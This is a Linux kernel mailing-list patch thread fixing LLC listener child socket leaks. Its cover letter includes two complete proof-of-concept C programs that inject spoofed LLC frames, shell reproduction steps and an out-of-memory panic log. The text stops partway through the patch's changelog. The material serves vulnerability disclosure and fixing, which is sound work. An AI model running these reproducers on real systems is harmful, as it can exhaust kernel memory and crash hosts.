* [PATCH net v7 0/1] llc: fix listener child socket leaks before passive open completes
@ 2026-09-03 8:01 Zihan Xi
2026-09-03 8:01 ` [PATCH net v7 1/1] " Zihan Xi
0 siblings, 1 reply; 6+ messages in thread
From: Zihan Xi @ 2026-09-03 8:01 UTC (permalink / raw)
To: netdev
Cc: David S . Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni,
Simon Horman, Kees Cook, linux-kernel, stable, Vega
Hi Linux kernel maintainers,
We found and validated an issue in net/llc/llc_conn.c. The reproducer needs
CAP_NET_RAW and CAP_NET_ADMIN in init_net.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
llc_conn_handler() creates a passive-open child for every frame matched by an
LLC listener. The child is immediately inserted in the SAP tables and takes a
device reference, before the LLC state machine proves that the frame is a real
passive open and before LLC_CONN_PRIM makes it available to accept().
A non-SABME frame never reaches that indication. The old path therefore leaves
a published child behind which accept() cannot return. The same lifecycle gap
also remains for SABME traffic when direct processing, backlog enqueue, or
backlog processing exits before LLC_CONN_PRIM, and when a listener is closed
with queued but unaccepted children.
The crash PoC is the DISC path only: a PF_LLC SOCK_STREAM listener plus
injected DISC commands, each with a unique source MAC. On the original
unfixed kernel, 100 such frames left 100 leftover entries in
/proc/net/llc/socket after the listener process exited, and deleting the
listener interface then stalled in unregister_netdevice because those
children still held the device. Repeating that traffic until the 2 GB
guest is exhausted is what produces the panic_on_oom log below. That
stack is out_of_memory() from a later page fault in the PoC process; it
does not contain llc_conn_handler().
SABME is a legitimate passive open and is not the crash trigger.
poc-sabme.c exercises the extra lifecycle paths that share the same
child publication gap: accept() after SABME, and close() of the listener
without accept().
The fix creates children only for SABME commands. DISC and other commands that
need an ADM-state DM reply are answered directly from the listener using the
packet source address, while other non-SABME traffic is dropped without driving
the listener state machine.
For SABME, the child remains in the SAP tables during passive open so tuple
lookup continues to win over the listener. The patch tracks children through
pending and queued states, routes packets for a pending child through the
listener-side handshake, and removes any child that has not been accepted when
a failure, backlog drop, or listener close occurs. Cleanup is not gated on the
current TCP state, so children are also released if the socket leaves
TCP_LISTEN before close. Redirected packets that observe SOCK_DEAD on the
listener also release the pending child in llc_conn_handler(), so that path
does not depend only on close() draining the backlog. A redirected frame
that fails to enqueue on the listener backlog is dropped without tearing
down the already pending child. close() walks the listener's remaining
incoming children after draining sk_receive_queue, so PENDING sockets
that never reached the accept queue are still released. Handshake skbs
keep a child socket reference with skb_set_owner_sk_safe(), so
kfree_skb() on drop, accept-failure, and close paths cannot race the
asynchronous teardown destructor. Process-context child-lock acquisition
is serialized with bottom halves disabled. Final child destruction is
deferred to process context so its timers can be synchronized safely,
and that work does not lock the listener. The work orphans the child and
drops the device reference before llc_sk_free().
The root-cause fact fixed here predates d389424e00f9. Its parent already
creates a listener-side child, publishes it to the SAP tables before
LLC_CONN_PRIM, and has no rollback path if processing exits early. In the local
visible history, the earliest commit where that root-cause fact is already
present is 1da177e4c3f4 ("Linux-2.6.12-rc2"), so Fixes points there.
This revision drops the follow-up LLC_CONN_OUT_OF_SVC bounds patch. Kees
Cook posted a more complete net-next series for that overlap, and review
of v6 2/2 also noted the unlatched state-table index and the possible +1
connect(2) return. The listener child leak remains independent of that
series.
PF_LLC sockets can only be created in init_net and need CAP_NET_RAW.
unshare -Urn is not used, because a user-plus-net namespace rejects
PF_LLC with EAFNOSUPPORT. The reproducer therefore creates a veth pair
and injects AF_PACKET frames in init_net.
The reproducer writes panic_on_oom only to turn the final memory
exhaustion into stable crash evidence after leftover LLC sockets are
already visible in /proc/net/llc/socket. It is not a prerequisite for
the leak itself.
packetdrill was not used here because the trigger depends on combining a PF_LLC
listening socket with raw AF_PACKET injection over a veth pair while rotating
the source MAC address to force distinct passive-open children. The PoC is
centered on that listener-plus-raw-packet resource leak path rather than on a
packetdrill-friendly timing script.
Reproducer:
gcc -O2 -static -o poc poc.c
gcc -O2 -static -o poc-sabme poc-sabme.c
ip link add llc_rx0 type veth peer name llc_tx0
ip link set llc_rx0 address 02:11:22:33:44:55
ip link set llc_tx0 address 02:11:22:33:44:66
ip link set llc_rx0 up
ip link set llc_tx0 up
./poc llc_rx0 llc_tx0 110000
The crash command above is the DISC injector. The extra SABME paths are:
./poc-sabme accept llc_rx0 llc_tx0
./poc-sabme close llc_rx0 llc_tx0 100
For deterministic crash evidence only, after leftover LLC sockets are
already visible in /proc/net/llc/socket, we additionally set:
echo 2 > /proc/sys/vm/panic_on_oom
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef AF_LLC
#define AF_LLC 26
#endif
#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define DEFAULT_REPORT_EVERY 10000ULL
static void die_errno(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void usage(const char *prog)
{
fprintf(stderr,
"usage: %s [rx_if] [tx_if] [count]\n"
" rx_if: LLC listener interface (default: %s)\n"
" tx_if: raw packet sender interface (default: %s)\n"
" count: number of DISC frames to send, 0 means forever\n",
prog, DEFAULT_RX_IF, DEFAULT_TX_IF);
}
static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
struct ifreq ifr;
int fd;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
die_errno("ioctl(SIOCGIFHWADDR)");
memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
close(fd);
}
static int get_ifindex(const char *ifname)
{
struct ifreq ifr;
int fd;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
die_errno("ioctl(SIOCGIFINDEX)");
close(fd);
return ifr.ifr_ifindex;
}
static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN])
{
struct sockaddr_llc addr;
int fd;
fd = socket(AF_LLC, SOCK_STREAM, 0);
if (fd < 0)
die_errno("socket(AF_LLC)");
get_if_hwaddr(ifname, mac);
memset(&addr, 0, sizeof(addr));
addr.sllc_family = AF_LLC;
addr.sllc_arphrd = ARPHRD_ETHER;
addr.sllc_sap = sap;
memcpy(addr.sllc_mac, mac, ETH_ALEN);
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die_errno("bind(AF_LLC)");
if (listen(fd, 16) < 0)
die_errno("listen(AF_LLC)");
return fd;
}
static int make_packet_socket(const char *ifname, int *ifindex_out)
{
struct sockaddr_ll sll;
int fd;
int one = 1;
int ifindex = get_ifindex(ifname);
fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (fd < 0)
die_errno("socket(AF_PACKET)");
setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_ifindex = ifindex;
if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("bind(AF_PACKET)");
*ifindex_out = ifindex;
return fd;
}
static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
mac[0] = 0x02;
mac[1] = (n >> 32) & 0xff;
mac[2] = (n >> 24) & 0xff;
mac[3] = (n >> 16) & 0xff;
mac[4] = (n >> 8) & 0xff;
mac[5] = n & 0xff;
}
int main(int argc, char **argv)
{
static unsigned char frame[ETH_ZLEN];
unsigned char dst_mac[ETH_ALEN];
unsigned char src_mac[ETH_ALEN];
struct sockaddr_ll sll;
const char *rx_if = DEFAULT_RX_IF;
const char *tx_if = DEFAULT_TX_IF;
uint64_t count = 0;
uint64_t i = 1;
int listener_fd;
int packet_fd;
int ifindex;
if (argc > 1 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
usage(argv[0]);
return 0;
}
if (argc > 1)
rx_if = argv[1];
if (argc > 2)
tx_if = argv[2];
if (argc > 3) {
char *end = NULL;
errno = 0;
count = strtoull(argv[3], &end, 0);
if (errno || !end || *end != '\0') {
fprintf(stderr, "invalid count: %s\n", argv[3]);
return EXIT_FAILURE;
}
}
if (argc > 4) {
usage(argv[0]);
return EXIT_FAILURE;
}
listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac);
packet_fd = make_packet_socket(tx_if, &ifindex);
memset(frame, 0, sizeof(frame));
memcpy(frame, dst_mac, ETH_ALEN);
((struct ethhdr *)frame)->h_proto = htons(3);
frame[ETH_HLEN + 0] = DEFAULT_SAP;
frame[ETH_HLEN + 1] = 0x04;
frame[ETH_HLEN + 2] = 0x43; /* DISC command, P/F=0 */
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_ifindex = ifindex;
sll.sll_halen = ETH_ALEN;
memcpy(sll.sll_addr, dst_mac, ETH_ALEN);
fprintf(stderr,
"listener_if=%s sender_if=%s sap=0x%02x count=%s\n",
rx_if, tx_if, DEFAULT_SAP, count ? argv[3] : "0");
fprintf(stderr,
"listener_mac=%02x:%02x:%02x:%02x:%02x:%02x\n",
dst_mac[0], dst_mac[1], dst_mac[2],
dst_mac[3], dst_mac[4], dst_mac[5]);
fprintf(stderr,
"sending LLC DISC commands with a unique spoofed source MAC each time\n");
while (!count || i <= count) {
fill_src_mac(src_mac, i);
if (!memcmp(src_mac, dst_mac, ETH_ALEN))
src_mac[ETH_ALEN - 1] ^= 1;
memcpy(frame + ETH_ALEN, src_mac, ETH_ALEN);
if (sendto(packet_fd, frame, sizeof(frame), 0,
(struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("sendto(AF_PACKET)");
if (!(i % DEFAULT_REPORT_EVERY))
fprintf(stderr, "sent=%llu\n",
(unsigned long long)i);
i++;
}
close(packet_fd);
close(listener_fd);
return 0;
}
------END poc.c--------
------BEGIN poc-sabme.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef AF_LLC
#define AF_LLC 26
#endif
#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define SABME_CMD 0x6f
static void die_errno(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
struct ifreq ifr;
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
die_errno("ioctl(SIOCGIFHWADDR)");
memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
close(fd);
}
static int get_ifindex(const char *ifname)
{
struct ifreq ifr;
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
die_errno("ioctl(SIOCGIFINDEX)");
close(fd);
return ifr.ifr_ifindex;
}
static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN])
{
struct sockaddr_llc addr;
int fd = socket(AF_LLC, SOCK_STREAM, 0);
if (fd < 0)
die_errno("socket(AF_LLC)");
get_if_hwaddr(ifname, mac);
memset(&addr, 0, sizeof(addr));
addr.sllc_family = AF_LLC;
addr.sllc_arphrd = ARPHRD_ETHER;
addr.sllc_sap = sap;
memcpy(addr.sllc_mac, mac, ETH_ALEN);
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die_errno("bind(AF_LLC)");
if (listen(fd, 16) < 0)
die_errno("listen(AF_LLC)");
return fd;
}
static int make_packet_socket(const char *ifname, int *ifindex_out)
{
struct sockaddr_ll sll;
int one = 1;
int ifindex = get_ifindex(ifname);
int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (fd < 0)
die_errno("socket(AF_PACKET)");
setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_ifindex = ifindex;
if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("bind(AF_PACKET)");
*ifindex_out = ifindex;
return fd;
}
static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
mac[0] = 0x02;
mac[1] = (n >> 32) & 0xff;
mac[2] = (n >> 24) & 0xff;
mac[3] = (n >> 16) & 0xff;
mac[4] = (n >> 8) & 0xff;
mac[5] = n & 0xff;
}
static void send_sabme(int packet_fd, int ifindex, const unsigned char dst[ETH_ALEN],
const unsigned char src[ETH_ALEN])
{
static unsigned char frame[ETH_ZLEN];
struct sockaddr_ll sll;
memset(frame, 0, sizeof(frame));
memcpy(frame, dst, ETH_ALEN);
memcpy(frame + ETH_ALEN, src, ETH_ALEN);
((struct ethhdr *)frame)->h_proto = htons(3);
frame[ETH_HLEN + 0] = DEFAULT_SAP;
frame[ETH_HLEN + 1] = 0x04;
frame[ETH_HLEN + 2] = SABME_CMD;
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_ifindex = ifindex;
sll.sll_halen = ETH_ALEN;
memcpy(sll.sll_addr, dst, ETH_ALEN);
if (sendto(packet_fd, frame, sizeof(frame), 0,
(struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("sendto(AF_PACKET)");
}
static void usage(const char *prog)
{
fprintf(stderr, "usage: %s accept|close [rx_if] [tx_if] [count]\n", prog);
}
int main(int argc, char **argv)
{
unsigned char dst_mac[ETH_ALEN];
unsigned char src_mac[ETH_ALEN];
const char *mode;
const char *rx_if = DEFAULT_RX_IF;
const char *tx_if = DEFAULT_TX_IF;
uint64_t count = 1;
uint64_t i;
int listener_fd;
int packet_fd;
int ifindex;
if (argc < 2) {
usage(argv[0]);
return EXIT_FAILURE;
}
mode = argv[1];
if (argc > 2)
rx_if = argv[2];
if (argc > 3)
tx_if = argv[3];
if (argc > 4) {
char *end = NULL;
errno = 0;
count = strtoull(argv[4], &end, 0);
if (errno || !end || *end != '\0' || !count) {
fprintf(stderr, "invalid count: %s\n", argv[4]);
return EXIT_FAILURE;
}
}
listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac);
packet_fd = make_packet_socket(tx_if, &ifindex);
fprintf(stderr, "mode=%s listener_if=%s sender_if=%s count=%llu\n",
mode, rx_if, tx_if, (unsigned long long)count);
if (!strcmp(mode, "accept")) {
int child;
struct sockaddr_llc addr;
socklen_t addrlen = sizeof(addr);
struct timeval tv = { .tv_sec = 5, .tv_usec = 0 };
fill_src_mac(src_mac, 1);
if (!memcmp(src_mac, dst_mac, ETH_ALEN))
src_mac[ETH_ALEN - 1] ^= 1;
send_sabme(packet_fd, ifindex, dst_mac, src_mac);
setsockopt(listener_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
child = accept(listener_fd, (struct sockaddr *)&addr, &addrlen);
if (child < 0)
die_errno("accept(AF_LLC)");
printf("SABME passive open accepted\naccept_rc=0\n");
close(child);
close(packet_fd);
close(listener_fd);
return 0;
}
if (!strcmp(mode, "close")) {
for (i = 1; i <= count; i++) {
fill_src_mac(src_mac, i);
if (!memcmp(src_mac, dst_mac, ETH_ALEN))
src_mac[ETH_ALEN - 1] ^= 1;
send_sabme(packet_fd, ifindex, dst_mac, src_mac);
}
close(packet_fd);
close(listener_fd);
printf("SABME sent without accept and listener closed\n");
return 0;
}
usage(argv[0]);
return EXIT_FAILURE;
}
------END poc-sabme.c--------
------BEGIN leak sample------
Original leak-only run on the unfixed kernel, 100 DISC frames, after the
listener process had already exited:
before: 0 leftover LLC sockets
after 100 frames: 100 leftover entries remained in /proc/net/llc/socket
Deleting the listener interface then stalled in unregister_netdevice
because those children still held the device. The panic_on_oom log below
is the later 110000-frame exhaustion of the 2 GB guest, not the leak
oracle itself.
------END leak sample--------
----BEGIN crash log----
[ 1665.704541][T10284] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[ 1665.705358][T10284] CPU: 0 UID: 0 PID: 10284 Comm: poc Not tainted 6.12.74 #3
[ 1665.705911][T10284] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1665.706676][T10284] Call Trace:
[ 1665.706943][T10284] <TASK>
[1665.707181][T10284] dump_stack_lvl (lib/dump_stack.c:105 (discriminator 2))
[1665.707568][T10284] panic (kernel/panic.c:339 (discriminator 1))
[1665.707918][T10284] ? dump_header (include/linux/rcupdate.h:815 (discriminator 1) mm/oom_kill.c:455 (discriminator 1) mm/oom_kill.c:478 (discriminator 1))
[1665.708305][T10284] ? __pfx_panic (kernel/panic.c:277)
[ 1665.708678][T10284] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1665.709132][T10284] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1665.709616][T10284] ? out_of_memory+0x8c5/0x16b0
[ 1665.710024][T10284] out_of_memory+0x8f3/0x16b0
[ 1665.710435][T10284] ? __pfx_out_of_memory+0x10/0x10
[ 1665.710868][T10284] ? lock_acquire+0x2f/0xb0
[ 1665.711243][T10284] ? __alloc_pages_noprof+0xd59/0x26d0
[ 1665.711712][T10284] __alloc_pages_noprof+0x1ec3/0x26d0
[ 1665.712184][T10284] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1665.712658][T10284] ? hlock_class+0x4e/0x130
[ 1665.713041][T10284] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1665.713501][T10284] ? __pfx___alloc_pages_noprof+0x10/0x10
[ 1665.713991][T10284] ? __pfx___lock_acquire+0x10/0x10
[ 1665.714431][T10284] ? __sanitizer_cov_trace_switch+0x54/0x90
[ 1665.714917][T10284] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1665.715381][T10284] ? policy_nodemask+0xf2/0x4f0
[ 1665.715788][T10284] alloc_pages_mpol_noprof+0x2ce/0x610
[ 1665.716246][T10284] ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
[ 1665.716734][T10284] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1665.717194][T10284] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1665.717656][T10284] ? xas_load+0x49/0x5b0
[ 1665.718005][T10284] ? filemap_get_entry+0xd5/0x3c0
[ 1665.718439][T10284] folio_alloc_noprof+0x23/0xd0
[ 1665.718847][T10284] filemap_alloc_folio_noprof+0x35d/0x420
[ 1665.719316][T10284] ? __pfx_filemap_alloc_folio_noprof+0x10/0x10
[ 1665.719803][T10284] ? filemap_fault+0x631/0x2800
[ 1665.720231][T10284] __filemap_get_folio+0x53e/0xaf0
[ 1665.720683][T10284] filemap_fault+0x675/0x2800
[ 1665.721097][T10284] ? __pfx_filemap_fault+0x10/0x10
[ 1665.721534][T10284] ? do_pte_missing+0x165a/0x3ff0
[ 1665.721944][T10284] ? __pfx_lock_release+0x10/0x10
[ 1665.722375][T10284] ? __pfx_filemap_map_pages+0x10/0x10
[ 1665.722813][T10284] __do_fault+0x10f/0x4a0
[ 1665.723172][T10284] ? __pfx_filemap_map_pages+0x10/0x10
[ 1665.723621][T10284] do_pte_missing+0x174c/0x3ff0
[ 1665.724026][T10284] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1665.724482][T10284] ? reacquire_held_locks+0x20b/0x4c0
[ 1665.724932][T10284] ? lock_vma_under_rcu+0x143/0x980
[ 1665.725374][T10284] __handle_mm_fault+0xfa3/0x2a10
[ 1665.725805][T10284] ? __pfx_lock_release+0x10/0x10
[ 1665.726207][T10284] ? down_read_trylock+0x1f0/0x3f0
[ 1665.726640][T10284] ? __pfx___handle_mm_fault+0x10/0x10
[ 1665.727085][T10284] ? __pfx_down_read_trylock+0x10/0x10
[ 1665.727574][T10284] ? __pfx_lock_vma_under_rcu+0x10/0x10
[ 1665.728053][T10284] handle_mm_fault+0x3f5/0xa00
[ 1665.728479][T10284] do_user_addr_fault+0x50a/0x1490
[ 1665.728921][T10284] exc_page_fault+0x5d/0xe0
[ 1665.729305][T10284] asm_exc_page_fault+0x26/0x30
[ 1665.729700][T10284] RIP: 0033:0x559e433ce5cb
[ 1665.730065][T10284] Code: Unable to access opcode bytes at 0x559e433ce5a1.
[ 1665.730594][T10284] RSP: 002b:00007ffcc17c93f0 EFLAGS: 00010206
[ 1665.731148][T10284] RAX: 000000000000003c RBX: 00007ffcc17c9418 RCX: 0000559e433d10c6
[ 1665.731733][T10284] RDX: 000000000000002c RSI: 0000559e433d10c0 RDI: 0000000000000004
[ 1665.732318][T10284] RBP: 00007ffcc17c9412 R08: 00007ffcc17c9420 R09: 0000000000000014
[ 1665.732904][T10284] R10: 0000000000000000 R11: 0000000000000202 R12: 0000559e433d10c6
[ 1665.733491][T10284] R13: d288ce703afb7e91 R14: 0000000000019194 R15: 0000000000000004
[ 1665.734120][T10284] </TASK>
-----END crash log-----
changes in v7:
- Drop the companion LLC_CONN_OUT_OF_SVC bounds patch due to overlap with
Kees Cook's net-next series:
https://lore.kernel.org/all/20260901210300.i.590-kees@kernel.org/
- That series also covers the connect(2) +1 return and rejecting
out-of-service states before table lookup, as raised in review of
v6 2/2:
https://lore.kernel.org/all/20260902010052.2297527-1-kuba@kernel.org/
- Keep only the listener child leak fix for net.
- Fix reverse-xmas-tree local ordering in llc_conn_handler() and
llc_incoming_sock_work(), align the atomic_cmpxchg() continuation,
and add matching braces on the backlog retry if/else.
- Release a PENDING child when llc_conn_handler() sees a redirected
packet for a TCP_LISTEN socket that is already SOCK_DEAD, instead of
dropping the packet and leaving that cleanup only to close().
- Keep the init_net CAP_NET_RAW/CAP_NET_ADMIN reproducer; PF_LLC is
rejected outside init_net, so unshare -Urn cannot express this path.
- Spell out that the crash PoC is DISC-only, include poc-sabme.c for
the accept and close paths, and restore the full OOM panic so the
leftover /proc/net/llc/socket leak is described next to that log.
- Do not tear down an already pending child when a redirected frame
fails sk_add_backlog(); drop that frame only.
- Track incoming children on the listener and release leftover PENDING
sockets from that list on close(), instead of relying only on
sk_receive_queue, backlog drain, or a later SOCK_DEAD packet.
- Stop taking the listener lock in llc_incoming_sock_work(); the child
already holds the listener, and teardown no longer interleaves with
llc_ui_release()'s llc_sk_free().
- Hold a child socket reference on handshake skbs with
skb_set_owner_sk_safe(), so kfree_skb() cannot race asynchronous
teardown through sock_rfree().
- Finish sock_orphan() and the device put in llc_incoming_sock_work()
before llc_sk_free(), so those steps do not run after its sock_put().
- Keep the v1 lore Link on its own line, before the numbered-patch
diffstat.
- Include the original leak-only leftover /proc/net/llc/socket count
next to the later panic_on_oom log.
- v6 Link: https://lore.kernel.org/all/cover.1787752861.git.zihanx@nebusec.ai/
changes in v6:
- Hold a reference for children queued for accept() and release it when they
are dequeued, while retaining SAP publication so tuple lookup still finds
a pending child before the passive open completes.
- Make direct receive, backlog, accept-queue, and listener-close cleanup
symmetric, with bottom-half-disabled child locking in process context.
- Keep the LLC_CONN_OUT_OF_SVC lower-bound check in its separate patch and
use the ADM state boundary consistently.
- v5 Link: https://lore.kernel.org/all/20260822082354.3109-1-zihanx@nebusec.ai/
changes in v5:
- Make listener child cleanup unconditional so queued children are also
released if the socket leaves TCP_LISTEN before close.
- Serialize process-context child cleanup and backlog dispatch with bottom
halves disabled, avoiding child-lock acquisition races with LLC receive
and timer paths.
- Drop packets redirected through a pending child after its listener is no
longer listening, and release children left out of service instead of
dispatching them.
- Split the LLC_CONN_OUT_OF_SVC lower-bound check into a separate patch.
- v4 Link: https://lore.kernel.org/all/20260814185843.4748-1-zihanx@nebusec.ai/
changes in v4:
- Create a passive-open child only for SABME and generate listener-side DM
replies directly for non-SABME commands.
- Use an atomic incoming-child lifecycle and serialize pending-child lookup,
backlog processing, rollback, and listener close with the child lock.
- Keep immediate SAP publication for passive-open tuple matching, but release
unaccepted children on direct and backlog failures and on listener close.
- Defer final incoming-child cleanup to workqueue context so timer
synchronization does not run in the receive softirq path.
- Add an LLC state lower-bound check before state-table dispatch.
- v3 Link: https://lore.kernel.org/all/20260805175945.10698-1-zihanx@nebusec.ai/
changes in v3:
- Drop the unused llc_conn_handler() local rc variable reported in review.
- Rebase the numbered patch and cover onto commit
ede76849012e45ffb2193ad110b42027eec02c5c.
- v2 Link: https://lore.kernel.org/all/cover.1785386749.git.zihanx@nebusec.ai/
changes in v2:
- Rework the fix to preserve the existing passive-open tuple matching
semantics instead of deferring child publication until LLC_CONN_PRIM.
- Track listener-created children pending publication to accept(), and roll
them back on every earlier failure or drop path.
- Cover the original non-SABME leak and SABME paths which fail before
LLC_CONN_PRIM, including backlog enqueue and backlog drop failures.
- Correct Fixes to 1da177e4c3f4 ("Linux-2.6.12-rc2") based on the earliest
locally visible history carrying the same root-cause fact.
- Clarify panic_on_oom crash evidence and packetdrill selection.
- v1 Link: https://lore.kernel.org/all/cover.1784725007.git.zihanx@nebusec.ai/
Best regards,
Zihan Xi
Zihan Xi (1):
llc: fix listener child socket leaks before passive open completes
include/net/llc_conn.h | 15 +-
net/llc/af_llc.c | 22 ++-
net/llc/llc_conn.c | 312 +++++++++++++++++++++++++++++++++++++++--
3 files changed, 335 insertions(+), 14 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 6+ messages in thread
* [PATCH net v7 1/1] llc: fix listener child socket leaks before passive open completes
2026-09-03 8:01 [PATCH net v7 0/1] llc: fix listener child socket leaks before passive open completes Zihan Xi
@ 2026-09-03 8:01 ` Zihan Xi
2026-09-06 10:11 ` Simon Horman
2026-09-06 12:45 ` Simon Horman
0 siblings, 2 replies; 6+ messages in thread
From: Zihan Xi @ 2026-09-03 8:01 UTC (permalink / raw)
To: netdev
Cc: David S . Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni,
Simon Horman, Kees Cook, linux-kernel, stable, Vega
llc_conn_handler() creates and publishes a child whenever a listener
matches a packet. A non-SABME frame never completes the passive open, so
the child remains in the SAP tables, keeps its device reference, and
cannot be returned by accept().
Create children only for SABME commands. Handle the listener's required
DM replies directly, using the packet source address, and do not run the
listener through the connection state machine.
Keep SABME children in the SAP tables during the passive open so that
established lookup continues to select them. Track children until the
connection indication is queued for accept(), and release any child that
fails before then, including direct and backlog failures and listener
close. Keep a listener-owned list of those children so close() can
release PENDING sockets that never reached the accept queue, instead of
relying only on later packets or backlog drain. Release pending children
for redirected packets after the listener leaves TCP_LISTEN or is marked
SOCK_DEAD. If a later redirected frame fails to enqueue on the listener
backlog, drop that frame only; do not tear down the already pending
child.
Handshake skbs keep a child socket reference with
skb_set_owner_sk_safe(). skb_set_owner_r() does not hold the socket, so
kfree_skb() on drop, accept-failure, and close paths could race
asynchronous teardown through sock_rfree().
Finish sock_orphan() and the device put before llc_sk_free(). That
helper already sock_put()s, so those steps must not run after its put
and rely only on the extra hold from llc_release_incoming_sock().
The child socket lock is acquired with bottom halves disabled whenever
the cleanup or backlog path runs in process context. Deferred child
teardown does not lock the listener; the child already holds a reference
to it until that work drops it.
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v7:
- Drop the companion LLC_CONN_OUT_OF_SVC bounds patch due to overlap with
Kees Cook's net-next series:
https://lore.kernel.org/all/20260901210300.i.590-kees@kernel.org/
- That series also covers the connect(2) +1 return and rejecting
out-of-service states before table lookup, as raised in review of
v6 2/2:
https://lore.kernel.org/all/20260902010052.2297527-1-kuba@kernel.org/
- Keep only the listener child leak fix for net.
- Fix reverse-xmas-tree local ordering in llc_conn_handler() and
llc_incoming_sock_work(), align the atomic_cmpxchg() continuation,
and add matching braces on the backlog retry if/else.
- Release a PENDING child when llc_conn_handler() sees a redirected
packet for a TCP_LISTEN socket that is already SOCK_DEAD, instead of
dropping the packet and leaving that cleanup only to close().
- Keep the init_net CAP_NET_RAW/CAP_NET_ADMIN reproducer; PF_LLC is
rejected outside init_net, so unshare -Urn cannot express this path.
- Spell out that the crash PoC is DISC-only, include poc-sabme.c for
the accept and close paths, and restore the full OOM panic so the
leftover /proc/net/llc/socket leak is described next to that log.
- Do not tear down an already pending child when a redirected frame
fails sk_add_backlog(); drop that frame only.
- Track incoming children on the listener and release leftover PENDING
sockets from that list on close(), instead of relying only on
